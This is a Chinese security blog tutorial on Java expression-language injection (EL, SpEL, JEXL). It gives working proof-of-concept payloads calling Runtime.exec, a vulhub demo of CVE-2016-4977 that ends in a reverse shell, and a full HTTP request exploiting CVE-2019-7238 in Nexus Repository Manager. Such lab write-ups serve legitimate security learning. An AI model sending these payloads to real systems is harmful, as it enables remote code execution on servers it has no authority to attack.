花式注入那点事儿(上) | 技术精选0116
2021-12-08 19:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:19 收藏

本文约5200字,阅读约需12分钟。
听到注入,也许你首先会想到的是SQL注入,但是,你知道其他的注入方式吗?
让我们先从Web注入的成因开始讲起。注入产生的条件就是服务端未对用户的输入做校验,将用户输入的内容作为正确内容的一部分接收,执行了用户插入的恶意内容从而导致出现各种问题。
由此可知,注入的类型就不仅仅局限于SQL,还包括好多……其实命令执行就是一种注入。
在此系列中,就给大家讲讲你可能不知道的那些注入类型,比如表达式注入,又可分为EL表达式注入、OGNL表达式注入、JEXL表达式注入、SPEL表达式注入等。
再比如SSTI又称模板注入、JWT注入、HTML注入、DDE注入、CRLF注入(响应截断)、LDAP注入等等多种。
是不是好多都没有听说过?
这其中,有的可能是由客户端对服务器发起的,也有的可能是由服务端对客户端发起的,更有的混杂在其他漏洞中让你傻傻分不清。这系列文章就带你了解一下那些你可能见过但又不知道类型的“花式注入”。
1
表达式注入
什么是表达式注入?
表达式注入(Expression Language Injection)在2013年由OWASP创建,这种漏洞现在也被安全人员称之为远程代码执行漏洞。因为表达式注入经常出现在Java Web中,所以又称之为JWEL注入。
我们经常所说的struts2系列漏洞,就是表达式注入的一种,也称之为OGNL表达式注入。因为其对OGNL执行函数的处理不当,导致出现了远程代码执行。
正因为有了Java表达式这种工具,开发者们可以方便地进行动态赋值等操作。同时,也因为开发者对用户的输入处理不当,导致rce,形成各式各样的表达式注入。
表达式注入的类型
1.EL表达式注入
EL全名为Expression Language。他的语法很简单,且最大的特点就是使用方便。
同时他也是JSP的内置语言,用来访问页面的上下文以及不同作用域中的对象,取得对象属性的值,或执行简单的运算或判断操作。
他的主要语法结构如下:
${sessionScope.company.staff} 
其中"${}"中的内容就是我们可操作的对象,如果按照之前JSP可能会这么写:
Company company  =(Company)session.getAttribute("company");
String staff =company.getStaff( );
不过这些都不重要,重要的就是我们知道EL的主要语法结构就好,它也提供"."和"[]"两种运算符来导航数据,如:
${sessionScope.company["staff"]}
到底两种情况会有哪些差异,我们可以参考这篇文章:
https://www.cnblogs.com/czs1982/p/3966748.html
EL的读存取也很简单,例如我们的示例中,从Session的范围内取得公司的员工值, 但是当没有指定哪一个范围的公司员工时,他会从默认值Page的范围中寻找。
假如找不到,再依序到Request、Session、Application范围中寻找。假如途中找到公司员工,就直接回传,不再继续找下去,如果没有找到,就会在页面上显示空白。
属性范围(jstl名称)
EL中的名称
Page
PageScope
Request
RequestScope
Session
SessionScope
Application
ApplicationScope
同时EL也提供一些操作符,其中绝大多数都是Java常用的操作符,比如:
常见的:
"+  -  *  /"
取余:
"%  mod"
关系运算符:
"==""eq""!=""ne""<"或 "lt""\>""gt""<=""le""\>=""ge" 
逻辑运算符:
"&&""and""||""or""!""not"
再有就是"Empty"空运算符和条件运算符"${ A ? B : C}"
既然知道EL注入是注入的一种,那么它的原理也是外部的可控,导致攻击者注入恶意表达式,实现rce。
它的通用poc如下:
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)${pageContext}//获取Web路径${pageContext.getSession().getServletContext().getClassLoader().getRe
source("")}//文件头参数${header}//获取webRoot${applicationScope}//执行命令${pageContext.request.getSession().setAttribute("a",pageContext.reque
st.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
但是在测试中,更多用计算加减乘除来判断,比如这样"${7*8}"
虽然我知道这个漏洞,但是从来没有挖到过……只能从乌云镜像上找几个洞来演示了。 
WooYun-2016-196160:
groupName=1&papersType=${555-
444}&papersValue=1&baseacct=1&retMsg=1&retCode=1
可以看到在papersType处存在参数可控,执行后会在页面某处出现111这个数字,拿一个SPEL注入的例子(原理都差不多)展示:

最终可直接命令执行。
2.SPEL表达式注入
Spring Expression Language又称为SPEL,顾名思义是Spring专属的表达式语言,不仅支持在运行时查询和操作对象图,也提供方法调用和基本的字符串模板功能,同时也允许将其集成到其他应用程序和框架中。
SPEL使用"#{...}"作为定界符,所有在大括号中的字符都将被认为是SPEL表达,我们可以在其中使用运算符、变量以及引用bean,属性和方法如下:
引用其他对象:"#{car}"
引用其他对象的属性:"#{car.brand}"
调用其他方法,还可以链式操作:"#{car.toString()}"
属性其中引用名称还可以用"$"符号如:"${someProperty}"
除此以外,在SPEL表达式中,使用"T()"。运算符会调用类作用域的方法和常量,例如,在SPEL表达式中使用的Java的Math类,可以像下面示例这样使用T()运算符:
#{T(java.lang.Math)}
T()运算符的结果会返回一个java.lang.Math类对象。
我们最常用的其实就是弹出计算器,证明我们攻击成功了,比如这段代码:
ExpressionParser  parser  =  new  SpelExpressionParser();

Expression exp =parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\\"ope

n/Applications/Calculator.app\")");

Object value = exp.getValue();
通过T()调用一个类的静态方法,返回一个Class Object,然后再调用相应的方法和属性。
我们通过CVE-2016-4977来进行演示。
CVE-2016-4977,Spring Security OAuth是为spring框架提供安全认证支持的一个模块,在其使用白色标签视图来处理错误时,由于使用了SPEL,攻击者可以构造恶意参数来远程命令执行。
启动我们的vulhub环境:
docker-compose  up  -d
在response_type参数处存在可控,输入我们的表达式"${555-444}",便可在其报错页面显示我们的结果。
通过其官方提供的poc,将我们的bash语句base64加密,生成我们需要的SPEL表达式:
监听我们的4444端口,执行我们的代码,可见成功返回shell。

3、JEXL表达式注入
Java EXpression Language,简称JEXL,是一个旨在促进在用Java编写的应用程序和框架中实现动态和脚本功能的库,也是基于JSTL表达式语言的某些扩展实现的一种表达式语言。
该表达式也提供了一些脚本语言,比如前几种表达式语言的加减乘除,同时也提供一些模块和组件配置、接口和实现松散耦合或者鸭式键入、简单的模板功能。
……算了,作为一个要做史上最强脚本小子的人,我懂那么多干嘛?直接上才艺(借用 vulhub直接演示):
CVE-2019-7238,又称为Nexus Repository Manager 3远程代码执行漏洞,由于这套系统在一些大型企业里面有一定的使用量,所以在实战过程中还是有一定用处的。
经过研究发现,该漏洞是一个基于OrientDB自定义函数的任意JEXL表达式执行漏洞,由于JEXL表达式可以执行JAVA代码同时没有安全上的限制,所以间接的就成了远程代码漏洞。
具体分析可以参考:
https://xz.aliyun.com/t/4136
https://www.anquanke.com/post/id/171116
登录到后台随便上传一个jar包,这个漏洞的触发条件就是仓库里面必须有一个jar包。任意找一个jar包上传:
条件既然已经给足了,那就直接祭出我们的exp:
或者直接发包:
POST  /service/extdirect  HTTP/1.1Host:  localhostUser-Agent:  Mozilla/5.0  (Macintosh;  Intel  Mac  OS  X  10.14;  rv:63.0)  Gecko/20100101  Firefox/63.0Accept:  */*Content-Type:  application/jsonX-Requested-With:  XMLHttpRequestContent-Length:  368Connection:  close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}
其中exec里面就是我们需要执行的命令,正常情况下执行命令是不回显的,需要利用 classloader加载字节码。

2
总结
表达式注入在很多情况下是命令执行的外在表现形式,其中有一些是我们常说但是不知道是什么原因引起的注入,比如struts2框架的OGNL表达式语言,在测试中也有的时候会以这种情况出现。
跳转出现参数时,我们就该考虑一下表达式注入。如果可以用这个漏洞计算加减乘除,不比计算器香?
有的时候,我们不用输入"${}",直接在参数后加减也可以计算,但是有时需要加上"${}",这就需要赏金猎人们自己判断了。
当然还有更多的姿势,比如绕过WAF。这些新姿势需要大佬慢慢挖掘,作为工具收集者的我静候大佬的exp。
3
参考文章
最后,放一些参考文章,大家可以自行学习取用。在下周三的更新中,我们会聊一聊DDE注入和HTML注入,到时不见不散!
https://xz.aliyun.com/t/7692#toc-0
https://aluvion.github.io/2019/04/25/Java%E7%89%B9%E8%89%B2-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%83/
http://commons.apache.org/proper/commons-jexl/
https://blog.csdn.net/weixin_42382121/article/details/82557048
https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-7525
- END -
往期推荐

记一次卑微的渗透测试

pwn入门之栈入门

MYSQL另类利用方式

长按下方图片即可关注
点击下方阅读原文,加入社群,读者作者无障碍交流

文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247496618&idx=1&sn=7c109caad7d8146aa9b4279a3501c572&chksm=9b3ad51bac4d5c0d6e254a603ba559484e950f840d5a86304baafeef524751822d825b353006#rd
如有侵权请联系:admin#unsafe.sh